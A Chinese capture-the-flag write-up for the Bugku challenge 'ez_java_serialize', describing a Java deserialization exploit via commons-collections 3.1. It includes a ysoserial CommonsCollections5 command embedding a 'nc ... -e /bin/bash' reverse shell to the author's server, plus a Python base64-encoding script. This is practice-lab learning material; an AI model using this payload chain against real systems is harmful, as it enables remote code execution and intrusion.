【BUGKU之ez_java_serialize】

题目

bugku平台上的java反序列化漏洞练习题

打开题目网站

在这里插入图片描述
网站如图所示,啥也没有,先去看下附件有什么。

附件

下载附件后看下有什么信息提示
在这里插入图片描述
附件压缩包下载后解压发现有java文件以及网站的配置环境信息,先打开pom.xml。
看下。
在这里插入图片描述
发现网站是Spring环境搭建的,先将这下面的提到的插件百度了下,发现commons-collections3.1有反序列化漏洞。
在这里插入图片描述

继续搜集信息

还有java代码文件没看,接下来打开java文件。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
打开helloController.java文件发现网站路由信息以及所传递的参数。并且可以看到name参数值接收后经过base64解码。
在这里插入图片描述

构造Payload

推荐使用ysoserial-0.0.6-SNAPSHOT-all.jar工具包,生成payload
在这里插入图片描述
先运行jar包查看下使用方式。使用nc vps的ip地址 port -e /bin/bash 指令构造payload(也可以尝试下其它shell反弹方式,我是看了下题目下面的评论,发现nc -e /bin/bash反弹会成功,其它反弹方式有问题)。并且经过尝试几个payload后发现CommonsCollections5可以使用。
在这里插入图片描述
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 “nc vps的Ip地址 监听端口 -e /bin/bash” > payload.bin
原始payload生成完成,不要忘记helloController.java文件上提到的name参数接收后,会经过base64编码解码。因此,原始payload需要经过base64编码。

base64Payload

在这里插入图片描述

import base64
file = open("payload.bin","rb")

now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()

在这里插入图片描述
此处我将生成的原始payload文件加载到py文件所在目录中,运行base64编码代码,直接将编码后生成的payload打印到了控制台。
在这里插入图片描述
整理后的payload如上图所示。

nc监听

配置下监听端口,vps监听端口要和上述构造原始payload上的端口一致。
在这里插入图片描述

发送构造好的payload

在这里插入图片描述

获取flag

在这里插入图片描述

结束

ysoserial-0.0.6-SNAPSHOT-all.jar工具各位自行百度下就可以了。大佬们,不喜勿喷,本人菜鸡。

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值